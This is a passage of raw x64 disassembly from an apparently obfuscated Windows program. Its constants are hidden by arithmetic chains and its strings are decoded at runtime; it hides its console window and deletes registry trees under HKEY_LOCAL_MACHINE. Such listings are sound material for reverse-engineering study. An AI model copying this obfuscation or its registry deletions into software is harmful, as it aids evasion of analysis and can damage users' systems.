rol rax, 0x5d
popf
pushf
not rax
add rax, 0x4a9e6e92
xor rax, 0x5479ce50
rol rax, 0x46
popf
mov qword [rsp + 0x398], rax
movabs rax, 0x217caa56b985c4ba
pushf
not rax
add rax, 0x4bb74f41
xor rax, 0x415c5694
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x7b88d71c
xor rax, 0x55b312ec
rol rax, 0x45
popf
pushf
not rax
add rax, 0x47dc706e
xor rax, 0x5e73ddb5
rol rax, 0xdd
popf
mov qword [rsp + 0x3a0], rax
movabs rax, 0xe3e0722884616985
pushf
not rax
add rax, 0x4212dc44
xor rax, 0x46bbe35d
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x7b9309bf
xor rax, 0x432fd702
rol rax, 0x86
popf
mov qword [rsp + 0x3a8], rax
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 0x73b4d888
pushf
not ecx
add ecx, 0x86351268
xor ecx, 0xee5817a1
rol ecx, 0x92
popf
pushf
not ecx
add ecx, 0x833f14cd
xor ecx, 0xe28b1b2e
rol ecx, 0x26
popf
pushf
not ecx
add ecx, 0xd8a59c59
xor ecx, 0xa6970bce
rol ecx, 0xc2
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x70], al
movdqa xmm0, xmmword [rsp + 0x360]
movdqa xmmword [rsp + 0x4c0], xmm0
movdqa xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x4b0], xmm0
movdqa xmm0, xmmword [rsp + 0x4b0]
pxor xmm0, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x4d0], xmm0
movdqa xmm0, xmmword [rsp + 0x4d0]
movdqa xmmword [rsp + 0x1f0], xmm0
lea rax, [rsp + 0x200]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x370]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x5d0], xmm0
mov rax, qword [rsp + 0xe8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x4e0], xmm0
movdqa xmm0, xmmword [rsp + 0x4e0]
pxor xmm0, xmmword [rsp + 0x5d0]
movdqa xmmword [rsp + 0x500], xmm0
mov rax, qword [rsp + 0xe8]
movdqa xmm0, xmmword [rsp + 0x500]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x210]
mov qword [rsp + 0xf0], rax
lea rax, [rsp + 0x380]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x520], xmm0
mov rax, qword [rsp + 0xf0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x510], xmm0
movdqa xmm0, xmmword [rsp + 0x510]
pxor xmm0, xmmword [rsp + 0x520]
movdqa xmmword [rsp + 0x530], xmm0
mov rax, qword [rsp + 0xf0]
movdqa xmm0, xmmword [rsp + 0x530]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x220]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0x390]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x550], xmm0
mov rax, qword [rsp + 0xf8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x540], xmm0
movdqa xmm0, xmmword [rsp + 0x540]
pxor xmm0, xmmword [rsp + 0x550]
movdqa xmmword [rsp + 0x560], xmm0
mov rax, qword [rsp + 0xf8]
movdqa xmm0, xmmword [rsp + 0x560]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x230]
mov qword [rsp + 0x100], rax
lea rax, [rsp + 0x3a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x580], xmm0
mov rax, qword [rsp + 0x100]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x570], xmm0
movdqa xmm0, xmmword [rsp + 0x570]
pxor xmm0, xmmword [rsp + 0x580]
movdqa xmmword [rsp + 0x590], xmm0
mov rax, qword [rsp + 0x100]
movdqa xmm0, xmmword [rsp + 0x590]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x1f0]
mov r8, qword [rsp + 0x6d0]
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.14037b9ee
lea rax, [rsp + 0x140]
mov rcx, rax
call fcn.1403926a1
mov qword [rsp + 0x160], rax
lea r8, [rsp + 0x168]
mov rdx, qword [rsp + 0x160]
mov rcx, 0xffffffff80000002
jmp 0x140153db4
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140153f01
cmp dword [rsp + 0x34], 2
jne 0x140153e03
push rax
pushf
mov eax, 0x6e063897
pushf
not eax
add eax, 0xd415161c
xor eax, 0x9e1e6665
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xa62a6682
xor eax, 0xb52e5a24
rol eax, 0x18
popf
jmp 0x140152159
push rax
pushf
mov eax, 0xe9bc0df5
pushf
not eax
add eax, 0xf916bb18
xor eax, 0xd276a965
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x9408199a
xor eax, 0xf107c89a
rol eax, 2
popf
pushf
not eax
add eax, 0xb872298c
xor eax, 0x8a1fa541
rol eax, 0x45
popf
jmp 0x140152159
mov byte [rsp + 0x29], 1
lea rcx, [rsp + 0x140]
call fcn.140307c1b
lea rcx, [rsp + 0x1d0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x29]
jmp 0x140154a32
mov byte [rsp + 0x2a], 0
lea rcx, [rsp + 0x140]
call fcn.140307c1b
lea rcx, [rsp + 0x1d0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x2a]
jmp 0x140154a32
mov rcx, qword [rsp + 0x168]
jmp 0x140153f0a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x2b]
mov rdi, rax
xor eax, eax
mov ecx, 0x953a2043
pushf
not ecx
add ecx, 0xaae26833
xor ecx, 0xe2fcada3
rol ecx, 0x49
popf
pushf
not ecx
add ecx, 0xbc7f1169
xor ecx, 0xef0e88b5
rol ecx, 0xf4
popf
pushf
not ecx
add ecx, 0xd6f29b01
xor ecx, 0xd9f280b1
rol ecx, 0xb2
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2c]
mov rdi, rax
xor eax, eax
mov ecx, 0x3ae76cc6
pushf
not ecx
add ecx, 0x8e0fb6a2
xor ecx, 0xb9ae1211
rol ecx, 0x95
popf
pushf
not ecx
add ecx, 0x89096169
xor ecx, 0xee175294
rol ecx, 0x63
popf
pushf
not ecx
add ecx, 0xab2dc6bb
xor ecx, 0xc59ca34b
rol ecx, 0x91
popf
pushf
not ecx
add ecx, 0xdf6db402
xor ecx, 0xb52d0262
rol ecx, 0x20
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x2b]
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x2c]
mov byte [rsp + 0x80], al
movabs rax, 0x943b013a8f764aa5
pushf
not rax
add rax, 0x64bc1969
xor rax, 0x4e021ea8
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x4a4ebc73
xor rax, 0x6fa8c1d7
rol rax, 0xfc
popf
mov qword [rsp + 0x120], rax
movabs rax, 0x2bbe66684cb5ad90
pushf
not rax
add rax, 0x5ebab261
xor rax, 0x7faa014a
rol rax, 0x73
popf
pushf
not rax
add rax, 0x6e19978a
xor rax, 0x5fcb5ea4
rol rax, 0x3a
popf
mov qword [rsp + 0x128], rax
movabs rax, 0xc00d2515c4dfb173
pushf
not rax
add rax, 0x434f0897
xor rax, 0x542764bf
rol rax, 0xf2
popf
pushf
not rax
add rax, 0x65f96608
xor rax, 0x7c1f4b4b
rol rax, 0x5e
popf
mov qword [rsp + 0x2c0], rax
movabs rax, 0x60f1b5b95e04fd33
pushf
not rax
add rax, 0x471ff36d
xor rax, 0x7e6b5ef4
rol rax, 0x2e
popf
pushf
not rax
add rax, 0x743b8147
xor rax, 0x5713bdd2
rol rax, 0xe5
popf
mov qword [rsp + 0x2c8], rax
lea rax, [rsp + 0x2d]
mov rdi, rax
xor eax, eax
mov ecx, 0xf00761f4
pushf
not ecx
add ecx, 0x881da713
xor ecx, 0x98965a00
rol ecx, 0x56
popf
pushf
not ecx
add ecx, 0x8a1ac816
xor ecx, 0x95d3e5c2
rol ecx, 0x78
popf
pushf
not ecx
add ecx, 0x90ada99f
xor ecx, 0xc456e051
rol ecx, 0x91
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x2d]
mov byte [rsp + 0x88], al
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqa xmmword [rsp + 0x5b0], xmm0
movdqa xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x5a0], xmm0
movdqa xmm0, xmmword [rsp + 0x5a0]
pxor xmm0, xmmword [rsp + 0x5b0]
movdqa xmmword [rsp + 0x5c0], xmm0
movdqa xmm0, xmmword [rsp + 0x5c0]
movdqa xmmword [rsp + 0x120], xmm0
lea rax, [rsp + 0x120]
mov rdx, rax
mov rcx, qword [rsp + 0x108]
jmp 0x14015419b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x6b0]
jmp 0x1401541c2
call qword [rsp + 0x178]
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0
je 0x140154237
push rax
pushf
mov eax, 0x8a0d1de7
pushf
not eax
add eax, 0x90850275
xor eax, 0xc31b0b92
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x80f5d935
xor eax, 0xcc5c4e67
rol eax, 0x87
popf
pushf
not eax
add eax, 0x9171b128
xor eax, 0xa27c5460
rol eax, 0x57
popf
pushf
not eax
add eax, 0xd94c06ca
xor eax, 0xc6a091df
rol eax, 0xbf
popf
jmp 0x140152159
push rax
pushf
mov eax, 0xb332eabd
pushf
not eax
add eax, 0x919ed5c8
xor eax, 0xdf0c524b
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xcd69de81
xor eax, 0xc34da0e8
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x9e5c598e
xor eax, 0xf3fa92fe
rol eax, 0x97
popf
jmp 0x140152159
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0x43d4adb3
pushf
not edx
add edx, 0xcbd24b10
xor edx, 0xc3863542
rol edx, 0x78
popf
pushf
not edx
add edx, 0xb83a968b
xor edx, 0x83fac645
rol edx, 0x10
popf
pushf
not edx
add edx, 0xc917cfe2
xor edx, 0x85e91dc1
rol edx, 0x8f
popf
pushf
not edx
add edx, 0xc2df4639
xor edx, 0xeed5396c
rol edx, 0x95
popf
mov rcx, rax
jmp 0x1401542e1
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x2e]
mov rdi, rax
xor eax, eax
mov ecx, 0xf0d4dad2
pushf
not ecx
add ecx, 0x80f800fc
xor ecx, 0xe4fa3d99
rol ecx, 0xa8
popf
pushf
not ecx
add ecx, 0xd909309b
xor ecx, 0xfaca410a
rol ecx, 0x40
popf
pushf
not ecx
add ecx, 0xad1f8faa
xor ecx, 0xa7f6ce7d
rol ecx, 0x30
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2f]
mov rdi, rax
xor eax, eax
mov ecx, 0xbcdeb73b
pushf
not ecx
add ecx, 0xc09ce34f
xor ecx, 0xbc0738bf
rol ecx, 0xa5
popf
pushf
not ecx
add ecx, 0xf9430fdc
xor ecx, 0xb83b80e9
rol ecx, 0x6c
popf
pushf
not ecx
add ecx, 0xebdccb38
xor ecx, 0x912bd8d7
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0xe3fa6fff
xor ecx, 0xd6119644
rol ecx, 0x35
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x188], rax
movzx eax, byte [rsp + 0x2e]
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x2f]
mov byte [rsp + 0x98], al
movabs rax, 0x5b1402b8c3534243
pushf
not rax
add rax, 0x71c2efd4
xor rax, 0x77e5ec57
rol rax, 2
popf
pushf
not rax
add rax, 0x42bfa58c
xor rax, 0x7d22e904
rol rax, 0x4b
popf
pushf
not rax
add rax, 0x587143f2
xor rax, 0x775b2dea
rol rax, 0xfc
popf
mov qword [rsp + 0x1b0], rax
movabs rax, 0x55f1ddbe77981039
pushf
not rax
add rax, 0x54d800ac
xor rax, 0x5498e20b
rol rax, 0xd
popf
pushf
not rax
add rax, 0x43c138d5
xor rax, 0x562d38f1
rol rax, 0x34
popf
mov qword [rsp + 0x1b8], rax
movabs rax, 0x93de678e8955de3
pushf
not rax
add rax, 0x55e8a2d1
xor rax, 0x7e013b90
rol rax, 0x30
popf
pushf
not rax
add rax, 0x4c66ee17
xor rax, 0x71c8476c
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x72ee18ef
xor rax, 0x509fa118
rol rax, 0x6f
popf
mov qword [rsp + 0x1c0], rax
movabs rax, 0x11afc688e2a77be7
pushf
not rax
add rax, 0x4e714df3
xor rax, 0x7f300b97
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x5e1f61f7
xor rax, 0x7ed0083c
rol rax, 0xde
popf
pushf
not rax
add rax, 0x5302f218
xor rax, 0x7139dbd6
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x758f46d0
xor rax, 0x4916cf85
rol rax, 0xc8
popf
mov qword [rsp + 0x1c8], rax
movabs rax, 0x88b76ca7e902dfa3
pushf
not rax
add rax, 0x67d5f8a4
xor rax, 0x5404468a
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x5f9af0a8
xor rax, 0x5bb4b3bb
rol rax, 0x32
popf
pushf
not rax
add rax, 0x61ef5407
xor rax, 0x72c4d42f
rol rax, 0xd4
popf
pushf
not rax
add rax, 0x7d6578d6
xor rax, 0x58b19dab
rol rax, 0x68
popf
mov qword [rsp + 0x340], rax
movabs rax, 0x2dbcd7134f27c05a
pushf
not rax
add rax, 0x782e4b18
xor rax, 0x6f6a7d5d
rol rax, 0x4f
popf
pushf
not rax
add rax, 0x673cc828
xor rax, 0x688734a0
rol rax, 0x31
popf
mov qword [rsp + 0x348], rax
movabs rax, 0x597ca7dd3a96a10
pushf
not rax
add rax, 0x50a7c7ba
xor rax, 0x4aa8eaf3
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x67b16640
xor rax, 0x6a988d9b
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x69cd769a
xor rax, 0x4003560a
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x5e3e2584
xor rax, 0x79555bd8
rol rax, 0x4f
popf
mov qword [rsp + 0x350], rax
movabs rax, 0x4d07eddc255f4921
pushf
not rax
add rax, 0x73eda714
xor rax, 0x45e06aae
rol rax, 0x77
popf
pushf
not rax
add rax, 0x6b10a300
xor rax, 0x781626c0
rol rax, 7
popf
mov qword [rsp + 0x358], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x7347c083
pushf
not ecx
add ecx, 0xc43864ee
xor ecx, 0x8570c371
rol ecx, 0x31
popf
pushf
not ecx
add ecx, 0xf9efa556
xor ecx, 0xbb6c4fc7
rol ecx, 0xc9
popf
pushf
not ecx
add ecx, 0x98718c65
xor ecx, 0xe10e6743
rol ecx, 0xcd
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0xa0], al
movdqa xmm0, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0x5f0], xmm0
movdqa xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x5e0], xmm0
movdqa xmm0, xmmword [rsp + 0x5e0]
pxor xmm0, xmmword [rsp + 0x5f0]
movdqa xmmword [rsp + 0x600], xmm0
movdqa xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x1b0], xmm0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x350]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x620], xmm0
mov rax, qword [rsp + 0x110]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x610], xmm0
movdqa xmm0, xmmword [rsp + 0x610]
pxor xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x630], xmm0
mov rax, qword [rsp + 0x110]
movdqa xmm0, xmmword [rsp + 0x630]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x180], rax
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x188]
call fcn.14027ec45
mov qword [rsp + 0x190], rax
lea rdx, [0x1972b173c]
pushf
sub rdx, 0x57226b8c
popf
mov rcx, qword [rsp + 0x190]
jmp 0x1401547da
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rax, [rsp + 0x140]
mov rcx, rax
call fcn.1403926a1
mov qword [rsp + 0x198], rax
mov rdx, qword [rsp + 0x198]
mov rcx, 0xffffffff80000002
jmp 0x140154808
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov dword [rsp + 0x34], eax
mov byte [rsp + 0x31], 0
lea rcx, [rsp + 0x140]
call fcn.140307c1b
lea rcx, [rsp + 0x1d0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x31]
jmp 0x140154a32
lea rax, [rsp + 0x140]
mov rcx, rax
call fcn.1403926a1
mov qword [rsp + 0x1a0], rax
mov rdx, qword [rsp + 0x1a0]
mov rcx, 0xffffffff80000002
jmp 0x1401548a9
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140154900
push rax
pushf
mov eax, 0x62ed7493
pushf
not eax
add eax, 0xaca35b1e
xor eax, 0xdc3e6ad6
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xf8b1330a
xor eax, 0xcb34829f
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xaa59bbd0
xor eax, 0xff8a0ebd
rol eax, 0x78
popf
jmp 0x140152159
push rax
pushf
mov eax, 0xd9e06881
pushf
not eax
add eax, 0xce4b7765
xor eax, 0xb7eea12b
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xfc7f41c6
xor eax, 0xa053f3c4
rol eax, 0x30
popf
pushf
not eax
add eax, 0xa3802f4e
xor eax, 0xcfb8fa85
rol eax, 0x35
popf
jmp 0x140152159
mov byte [rsp + 0x32], 0
lea rcx, [rsp + 0x140]
call fcn.140307c1b
lea rcx, [rsp + 0x1d0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x32]
jmp 0x140154a32
mov byte [rsp + 0x33], 1
lea rcx, [rsp + 0x140]
call fcn.140307c1b
lea rcx, [rsp + 0x1d0]
call fcn.140307c1b
movzx eax, byte [rsp + 0x33]
push rax
pushf
mov eax, 0x23b3f4c6
pushf
not eax
add eax, 0xe2f76f4a
xor eax, 0xee166538
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x8491ccc3
xor eax, 0x8b51880d
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x97a28494
xor eax, 0xfd1a285c
rol eax, 0x8b
popf
jmp 0x140152159
add rsp, 0x6c0
pop rdi
ret